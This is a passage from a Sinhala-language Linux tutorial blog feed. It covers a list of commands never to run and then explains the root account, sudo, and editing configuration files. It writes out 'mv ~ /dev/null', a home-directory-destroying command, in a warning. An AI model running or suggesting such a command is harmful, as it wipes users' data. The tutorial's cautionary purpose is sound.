&amp;nbsp;එනම් මෙම විධානය ක්‍රියාත්මක කල පසු අපි දැනට වැඩ කරන පාටිශන් එකකට කිසිම වැඩක් නැති දත්ත පිටපත් වී අපේ වැඩ කරන පාටිශන් එක විනාශ වී යයි.&lt;br /&gt;
&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;mv ~ dev/null ෆෝල්ඩරය කළු කුහරයකට දමයි.&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;b&gt;dev/null&lt;/b&gt;&lt;/span&gt; කියලා කියන්නේ ලිනක්ස් පද්ධතියක තිබෙන තවත් විශේෂ ස්ථානයකි. මෙය හරියට කළු කුහරයක් වැනිය. එනම් මෙතනට යමක් දානවා කියන්නේ එය විනාශ කිරීමට සමාන දෙයකි. නමුත් &lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;b&gt;dev/null&lt;/b&gt;&lt;/span&gt;හිත් විශේෂ භාවිත ලිනක්ස් වල තියෙනවා. ලිනක්ස් එක්ක වැඩ කරන් යද්දි ඉදිරියේදී අපිට ඒව හමු වෙවී. දැන් අපි මේ විධානය පැහැදිලි කරගමු.&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;blockquote&gt;
&lt;b&gt;mv&lt;/b&gt; – දෙනු ලබන ෆයිල්ස් හෝ ඩිරෙක්ටර වෙනත් තැනට මාරු කිරීම.&lt;br /&gt;
&lt;b&gt;~&lt;/b&gt; – අපගේ සම්පූර්ණ home ඩිරෙක්ටරය ඉදිරිපත් කිරීමට ටර්මිනල්යේදි භාවිතා කරන සංකේතයයි.&lt;br /&gt;
&lt;b&gt;/dev/null&lt;/b&gt; – අපගේ ඩිරෙක්ටරයේ සියළුම දත්ත /dev/null ස්ථානයට මාරු කරයි. එනම් එම සියළුම දත්ත විනාශ කරයි.&lt;/blockquote&gt;
&lt;/blockquote&gt;
&amp;nbsp;
&lt;span style=&quot;color: purple;&quot;&gt;&lt;b&gt;අවබෝධයෙන් තොරව /dev/null සමඟ ගනුදෙනු කිරීමෙන් වළකින්න.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;

&lt;/li&gt;
&lt;/ol&gt;
&amp;nbsp;මේ ආකාරයෙන් කෙටියෙන් ඉදිරිපත් කලේ කිසිවිටෙක ක්‍රියාත්මක නොකල යුතු විධාන කිහිපයකි. ඇත්තෙන්ම මෙම විධාන භාවිතා කලයුතු අවස්ථා ලැබෙන අතර කිසිවිටෙක නොකරන්න එපාය කියා කියන්නේ එම විධාන සමඟ ඉහත සාකච්ඡා කල විකල්ප විධාන හෝ භාවිතා නොකල යුතු ස්ථානය. එය තේරුම්ගෙන ඉතාම ප්‍රවේශමෙන් ඉහත විධාන භාවිතා කරන්න.</description><link>http://linux-sinhala.blogspot.com/2012/10/blog-post.html</link><author>noreply@blogger.com (Dulanja Subodhana)</author><thr:total>3</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-9165847937691595769.post-7553531999615893950</guid><pubDate>Fri, 28 Sep 2012 16:21:00 +0000</pubDate><atom:updated>2012-10-08T19:56:01.454+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Basic</category><category domain="http://www.blogger.com/atom/ns#">commands</category><category domain="http://www.blogger.com/atom/ns#">Linux</category><category domain="http://www.blogger.com/atom/ns#">root</category><category domain="http://www.blogger.com/atom/ns#">superuser</category><category domain="http://www.blogger.com/atom/ns#">මූලික සංකල්ප</category><title>ලිනක්ස් සුපර් යූසර් හෙවත් රූට්. - ලිනක්ස් පාඩම් මාලාව #5</title><description>&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;ලිනක්ස්
භාවිතයේදී &lt;b&gt;සුපර් යූසර්&lt;/b&gt; (Super user) එහෙමත්
නැත්තම් &lt;b&gt;රූට්&lt;/b&gt; (Root) කියන වචන දෙක
අහලා දැකලා ඔබටත් පුරුදු ඇති&lt;/span&gt;.
&lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;ඇත්තටම කවුද මේ සුපර්
යූසර් කියන්නේ&lt;/span&gt;? &lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;මේකෙන්
මොකද්ද වෙන්නේ&lt;/span&gt;? &lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;අද
අපි කථා කරන්නේ සුපර් යූසර්
ගැනයි&lt;/span&gt;.&lt;br /&gt;
&lt;i&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;i&gt;&lt;b&gt;&lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;අර්ථ
දැක්වීම අනුව නම් සුපර් යූසර්
එහෙමත් නැත්තම් රූට් කියන්නේ
පද්ධතියේ සියලු වරප්‍රසාද
ලත් පරිශීලකයායි&lt;/span&gt;. &lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;මෙම
සුපර් යූසර්ට පද්ධතියේ සියළුම
විධාන ක්‍රියා කරවීමේ අවසරයත්&lt;/span&gt;,
&lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;සියළුම ගොනු සහ
ෆයිල්ස් හැසිරවීමේ අවසරයත්
හිමි වෙනවා&lt;/span&gt;.&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&amp;nbsp;


 
 
 
 &lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;style type=&quot;text/css&quot;&gt;
 &lt;!--
  @page { margin: 0.79in }
  P { margin-bottom: 0.08in }
 &lt;/style&gt;
 &lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;කෙටියෙන්ම
කිව්වොත් සුපර් යූසර්ට පද්ධතියේ
ඕනෑම දෙයක් කරන්න පුලුවන්&lt;/span&gt;.
&lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;කොටින්ම ලිනක්ස්
කර්නල් එක වගේ ඕනෑම පවතින 
source code එකක් වුනත් වෙනස් කිරීමේ අවසරය
ලැබෙනවා&lt;/span&gt;.&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;අපි
සාමාන්‍යයෙන් පද්ධතියට ඇතුලු
වන්නේ සාමන්‍යය පරිශීලකයෙක්
විදිහට&lt;/span&gt;, &lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;ඒ වුනත්
එහෙම පද්ධතියට ඇතුලු වුනාම
කරන්න පුලුවන් වැඩ සීමා සහිත
වෙනවා&lt;/span&gt;. &lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;උදාහරණයක්
විදිහට අපිට සාමන්‍යය පරිශීලකයෙක්
විදිහට පද්ධතියට නව මෘදුකාංග
ස්ථාපනය කරන්න අවසර නෑ&lt;/span&gt;.
&lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;පද්ධතිය යාවත්කාලීන
කරන්නවත් අවසර ලැබෙන්නේ නෑ&lt;/span&gt;.
&lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;මේ වගේ විශේෂ කාර්‍යයන්
සිදු කිරීමට  නම් අපිට සුපර්
යූසර් එහෙමත් නැත්තම් රූට්
වීම අත්‍යාවශය වෙනවා&lt;/span&gt;.&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&amp;nbsp;&lt;style type=&quot;text/css&quot;&gt;
 &lt;!--
  @page { margin: 0.79in }
  P { margin-bottom: 0.08in }
 &lt;/style&gt;
 &lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;h3&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;සුපර්
යූසර් එහෙමත් නැත්තම් රූට්
වෙන්නේ කොහොමද&lt;/span&gt;...?&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&amp;nbsp;සුපර් යූසර් එහෙමත් නැත්තම් රූට් වෙන එක ක්‍රමයක් තමා ටර්මිනල් එකේ sudo -i කියලා විධාන කරන එක. අනිත් ක්‍රමය තමා පද්ධතියට log-in වෙද්දි user name එක විදිහට root කියලා සඳහන් කරලා රූට් මුරපදය දීලා කෙලින්ම රූට් විදිහට පද්ධතියට log-in වෙන එක.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;මුලින්ම අපි ටර්මිනලයෙන් රූට් වෙන හැටි සාකච්ඡා කරමු.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYsUgrhmg51tbYGcOlxk6_Iy9cJ1GM0WfXRORX4zOSqASIsWi_e_5OmHg0h4yc6tZGXjBM0-xSKYVuqrv9NMGUIEZX9_DsIVge8joIsHirkiQzSMXAdy12es5VL-a1XVZLEhPl4b4_G9I/s1600/root.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;74&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYsUgrhmg51tbYGcOlxk6_Iy9cJ1GM0WfXRORX4zOSqASIsWi_e_5OmHg0h4yc6tZGXjBM0-xSKYVuqrv9NMGUIEZX9_DsIVge8joIsHirkiQzSMXAdy12es5VL-a1XVZLEhPl4b4_G9I/s320/root.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&amp;nbsp;මෙම රූපයෙන් පෙන්වා තිබෙන්නේ ටර්මිනලයක සාමාන්‍යය පරිශීලයකුව සිට සුපිරි පරිශීලකයා එහෙමත් නැත්තම් රූට් වෙන ආකාරය. රූපය හොඳින් බලන විට පැහැදිලිව පෙනේවී මෙසේ සුපර් යූසර්ට මාරු වන විට ටර්මිනලයේ &lt;b&gt;$&lt;/b&gt; ලකුණ &lt;b&gt;#&lt;/b&gt; ලෙසට මාරු වන බව.&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;b&gt;subo@ubuntu:$&lt;/b&gt;&lt;/span&gt; සිට &lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;b&gt;root@ubuntu:~#&lt;/b&gt;&lt;/span&gt; බවට පත්වේ.&lt;br /&gt;
මෙම සංකේත පිළිබඳව මනා වැටහීමක් තිබීම ඉදිරියට ප්‍රයෝජනවත් වේවී.&lt;br /&gt;
දැන් අපි බලමු සාමන්‍යය පරිශීලකයෙකුට කරන්න බැරි සුපිරි පරිශීලකයාට කරන්න පුලුවන් වැඩ මොනවද කියලා. ඇත්තටම මේ සුපිරි පරිශීලකයාට පද්ධතියේ ඕනෑම වෙනසක් කිරීමට ඕනෑම දෙයක් කිරීමට අවසර තියෙනවා. එම නිසා සුපර් යූසර් විදිහට වැඩ කරන කොට ප්‍රවේශමෙන්, අවධානයෙන් එම විධාන ලබා දීමට වගබලා ගන්න.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;h3&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;සුපර් යූසර් මුරපදය වෙනස් කරගන්නා ආකාරය.&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;:~$ sudo passwd&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtIIJnmJC42b3XLViQS8Eh9wxItOl9xmAh1_FGWG3aqpLdyCYUA2fO6Im3pm0XxBUCZrGHjrkKhv2ZE9u9jH2PNhyphenhyphenZGJRjVuP3IP0kUxfLqBnvTYblZYIEPTwOGs2cG7s32bwRwMMPY6M/s1600/passwd.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;82&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtIIJnmJC42b3XLViQS8Eh9wxItOl9xmAh1_FGWG3aqpLdyCYUA2fO6Im3pm0XxBUCZrGHjrkKhv2ZE9u9jH2PNhyphenhyphenZGJRjVuP3IP0kUxfLqBnvTYblZYIEPTwOGs2cG7s32bwRwMMPY6M/s320/passwd.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
ඉහත විධානය ලබා දීමෙන් පසු ටර්මිනලය අපගේ පවතින මුරපදය ඉල්ලා සිටින අතර එය නිවැරදිව ලබා දුන් විට නව මුරපදය ලබාදෙන මෙන් ඉල්ලා සිටී.&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;වැදගත් :&lt;/b&gt;&lt;/span&gt; &lt;span style=&quot;color: #444444;&quot;&gt;සුපිරි පරිශීලකායට තිබෙන සුපිරි වරප්‍රසාද මඟින් සම්පූර්ණ පද්ධතියම පාලනය කල හැකි බැවින් මෙම මුරපදය පිළිබඳව විශේෂයෙන් සැලකිලිමත් වන්න. මේ සඳහා ශක්තිමත් මුරපදයක් භාවිතා කිරීම හා වරින්වර එය වෙනස් කිරීම ඔබගේ පද්ධතියේ ආරක්ෂාව සම්බන්ධයෙන් ඉතා වැදගත් වේ.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOkb7Hy6SSifGrBdv91sjT88fCfe206bs_cyYdfKT8F3Q0c10_Fa1BRF7CNan80R_b_uDqVgWl6m8_6cD7c99kRb73khVIfoMuFBArla4o4-x6ab4A3lQJMoE4qdjkL48Gk6rDgqDhDb4/s1600/sudolsroot.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;පද්ධතියේ configuration ෆයිල්ස් පරීක්ෂා කිරීම හෝ වෙනස් කිරීම.&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;සාමන්‍යය පරිශීලකයෙක්ව අපිට පද්ධතියේ configuration ෆයිල්ස් පරීක්ෂා කිරීමට හෝ වෙනස් කිරීමට නොහැක. ඒ සඳහා සුපර් යූසර් වීම අනිවාර්‍ය්ය වේ.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #444444;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;වැදගත් :&lt;/b&gt;&lt;/span&gt; මෙම පද්ධති configuration ෆයිල්ස් වෙනස් කිරීම පද්ධතිය සහමුලින්ම අවුල් සහගත කිරීමට හෝ ඇතැම් විට මුලු පද්ධතියම නැවත භාවිතා කරගැනීමට නොහැකි පරිදි විනාශ කිරීමට තරම් හේතු වන බැවින් පද්ධතියේ &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #444444;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;configuration ෆයිල්ස් වෙනස් කිරීමට පෙර ඒ ගැන සැලකිලිමත් වන්න.පද්ධති configuration &lt;b&gt;ෆයිල් එකක් වෙනස් කිරීමට ප්‍රථම එහි පිටපතක් තබා ගැනීම මේ නුවණට හුරුය.&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;පද්ධතියේ රූට් ගොනුවේ, එහෙමත් නැත්තම් &lt;a href=&quot;http://linux-sinhala.blogspot.com/2012/09/learn-linux-2.html&quot; target=&quot;_blank&quot;&gt;ගොනු නිර්මිතය&lt;/a&gt; පිළිබඳව සාකච්ඡා කල ලිපියේ තිබූ පරිදි ලිනක්ස් ගොනු ආකෘතියක මුල් ගොනුවේ තිබෙන ෆයිල්ස් ලයිස්තුව බලා ගැනීම උදාහරණයකට ගමු.&lt;br /&gt;මුලින්ම සාමාන්‍යය පරිදි ටර්මිනලයක් ගෙන මෙය කිරීමට උත්සහ කරන්න.&lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbAWJm49TixqwT3VXd9ZkV_I_Nu_haDcSkZUsmDCuAOZ618LZ0JF1Xb0UCVLr_Mry_Fljm5xf9oK-Bojgtkzwmw0ra7O8D0dxrMen-iE2sNQelJW-xwiJ6qyw4DDXvYQwsK9KEv93TXAo/s1600/lsroot.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;74&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbAWJm49TixqwT3VXd9ZkV_I_Nu_haDcSkZUsmDCuAOZ618LZ0JF1Xb0UCVLr_Mry_Fljm5xf9oK-Bojgtkzwmw0ra7O8D0dxrMen-iE2sNQelJW-xwiJ6qyw4DDXvYQwsK9KEv93TXAo/s320/lsroot.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;br /&gt;ඉහත රූපයේ පරිදි ඔබට පෙනේවී මෙ සඳහා ඔබට අවසර නොමැති බවට දන්වා පණිවිඩයක් එන බවට. දැන් රූට් වී මෙම ක්‍රියාව සිදු කරන්න උත්සහ කරන්න.&lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOkb7Hy6SSifGrBdv91sjT88fCfe206bs_cyYdfKT8F3Q0c10_Fa1BRF7CNan80R_b_uDqVgWl6m8_6cD7c99kRb73khVIfoMuFBArla4o4-x6ab4A3lQJMoE4qdjkL48Gk6rDgqDhDb4/s1600/sudolsroot.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;96&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOkb7Hy6SSifGrBdv91sjT88fCfe206bs_cyYdfKT8F3Q0c10_Fa1BRF7CNan80R_b_uDqVgWl6m8_6cD7c99kRb73khVIfoMuFBArla4o4-x6ab4A3lQJMoE4qdjkL48Gk6rDgqDhDb4/s320/sudolsroot.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;br /&gt;ඔබට පෙනනවා ඇති රූට් වීමෙන් පසු එම කාර්‍යය කරගැනීමට කිසිදු බාධාවක් නොමැති බව.&lt;br /&gt;දැන් අපි පද්ධතියේ configuration ෆයිල් එකක් වෙනස් කරගන්නා ආකාරය උදාහරණයකට බලමු.&lt;br /&gt;මගේ පද්ධතියේ තිබෙනවා wvdial කියලා configuration ෆයිල් එකක්. මේක භාවිතා කරන්නේ අන්තර්ජාලය හා සම්බන්ධ වීම සඳහායි. මුලිම අපි මේ ෆයිල් එකේ අන්තර්ගතය පරික්ෂා කර බලමු. මේ සඳහා මම භාවිතා කරන්නේ පහත විධානයි. මෙම විධානය පිළිබඳව ඔබ දැනුවත් වී ඇතියි සිතමි.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;:~$ cat /etc/wvdial.conf&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8j0scpUct_PCYjeeta9IbY6FWmuFShsN1M_XOLxISbDhoHTUDnjOd_hoecIfjX8CjziIEijOJ2sCkjcSA-KTBcBR1msE1uPEfikb0wCBnyAp0pXzmI5vzjNvTdflEah__Cz9H5entN8Q/s1600/catwvdial.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;204&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8j0scpUct_PCYjeeta9IbY6FWmuFShsN1M_XOLxISbDhoHTUDnjOd_hoecIfjX8CjziIEijOJ2sCkjcSA-KTBcBR1msE1uPEfikb0wCBnyAp0pXzmI5vzjNvTdflEah__Cz9H5entN8Q/s320/catwvdial.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;br /&gt;එවිට ලැබෙන ප්‍රථිඵලය තමා මේ ඉහත රූපයේ දැක්වෙන්නේ. දැන් මට මෙය වෙනස් කිරීමට අවශ්‍යය නම් මා කල යුත්තේ රූට් වී එම ෆයිල් එක කැමති text editor එකකින් විවෘත කරගැනීමයි. මේ සඳහා මා භාවිතා කරන්නේ මාගේ ප්‍රියතම text editorය වන VIM ය. එවිට මා විධාන කලයුත්තේ පහත පරිදිය.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;:~# vi /etc/wvdial.conf&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPtlqrExqMxIBIxed_FxRcsVz5VKb749k5IMnjg_ncDlHpbrdpB9q-QE5vdIC2LLZP4QS23UX9fL8MbFEmqY1vP2f-2El2gQvEnwOSkwoj3YYYKhtrvkcaO-xb8j8Smzz6bMjnrjVSxdw/s1600/viwvdial.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;77&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPtlqrExqMxIBIxed_FxRcsVz5VKb749k5IMnjg_ncDlHpbrdpB9q-QE5vdIC2LLZP4QS23UX9fL8MbFEmqY1vP2f-2El2gQvEnwOSkwoj3YYYKhtrvkcaO-xb8j8Smzz6bMjnrjVSxdw/s320/viwvdial.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisrxAuBoSz5_EMHsPO_JLNUCmItb_1wK7ib6oIhnPjUmFGk1Qmp-pIK7jmkREW8cgs74RpWOKPqTbAo4GazDNJ3Ry7QrnPoBnupjNPwlrtUSIF26vPfTYsVelZsn5LudL2DbM_pMTeEw0/s1600/wvdial.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;219&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisrxAuBoSz5_EMHsPO_JLNUCmItb_1wK7ib6oIhnPjUmFGk1Qmp-pIK7jmkREW8cgs74RpWOKPqTbAo4GazDNJ3Ry7QrnPoBnupjNPwlrtUSIF26vPfTYsVelZsn5LudL2DbM_pMTeEw0/s320/wvdial.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;br /&gt;දැන් මට අවශ්‍යය පරිදි වෙනස් කම සිදු කරගැනීමට පුලුවනි. ඇත්තෙන්ම මෙසේ සුලු සුලු කාර්‍ය්යන් සිදු කරගැනීමට රූට් ලෙස log-in වීම අත්‍යාවශ්‍යම නෑ. මේ සඳහා පහත පරිදි රූට් ලෙස විධාන කිරීමටත් පුලුවනි.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;b&gt;:~$ sudo vi /etc/wvdial.conf&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEzSt3rFOhhKomGByD8Xm0iba39_bqg6gEBQtkjyMGSJtdGqYLeRIyVNjJN8cxsnY1Apy_M6c3pWJj6YnscBhqgEZJw7Dzi4JszI4GF5drKQl7HIex-senUgTX4hSWyki3KgY2fbYfM7A/s1600/sudovi.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;66&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEzSt3rFOhhKomGByD8Xm0iba39_bqg6gEBQtkjyMGSJtdGqYLeRIyVNjJN8cxsnY1Apy_M6c3pWJj6YnscBhqgEZJw7Dzi4JszI4GF5drKQl7HIex-senUgTX4hSWyki3KgY2fbYfM7A/s320/sudovi.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;br /&gt;ඇත්තටම අපට යම් කිසි විධානයක් රූට් එහෙමත් නැත්තම් සුපර් යූසර් විදිහට කරගන්න ඕනේ නම් අපිට කරන්න තියෙන්නේ අපි කරන්න යන විධානයට පෙර sudo යනුවෙන් සඳහන් කිරීමයි. එවිට ටර්මීනලය අපේ මුරපදය ඉල්ලා සිටින අතර එය ලබාදුන් විට අපි භාවිතා කල විධානය රූට් ලෙස භාවිතා කල හැකිය.&lt;br /&gt;උදාහරණ ලෙස සාමාන්‍යය පරිශීලකයෙකුව සිට කොපි කිරීමට හෝ ඉවත් කිරීමට හෝ move කිරීමට නොහැකි ෆයිල්ස් එසේ වෙනස් කරන්නේ පිළිවෙලින් පහත පරිදි විධාන කිරීමෙන්ය.&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;:~$ sudo cp file_name location_to_copy&lt;br /&gt;:~$ sudo rm file_name&lt;br /&gt;:~$ sudo mv file_name locatin_to_move&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;ඉහත කාර්‍ය්යන් සිදු කරගැනීමටම ඔබට ඔබගේ GUI සහිත file browser එකක් රූට් ලෙස විවෘත කරගැනීමට අවශ්‍යය නම් පහත විධානය භාවිතා කරන්න.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;b&gt;:~$ sudo nautilus&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;මෙහි nautilus යනුවෙන් සඳහන් වී තිබෙන්නේ file browser එකෙහි නමය. ඔබට අවශ්‍යය file browser එක පරිදි මෙය වෙනස් කරගන්න.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;මේ විදිහට අපිට සාමාන්‍යය පරිශීලකයෙක්ව සිදු කරගත නොහැකි කාර්‍යයන් සියල්ලක්ම සිදු කරගන්න පුලුවනි.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;සම්පූරණ පද්ධතියම වසා දමන්න හෝ නැවත ආරම්භ කරන්න.&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;ඔබ ටර්මිනලය මඟින් පරිගණකය වසා දැමීම හෝ නැවත පණගන්වන්න පුලුවන් බව දන්නවාද..? ඇත්තටම මෙම කාර්‍යයන් පහත විධාන තුලින් ටර්මිනල් එක මඟින් සිදු කරගැනීම ඉතාම සරළ පහසු දෙයක්. මෙම කාර්‍යයන් සිදු කරගැනීමට ඔබට සුපිරි පරිශීලකයා වීමට සිදුවේ.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;
&lt;li&gt;&lt;i&gt;&lt;b&gt;පද්ධතිය වසා දැමීම. power off the system.&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: center;&quot;&gt;
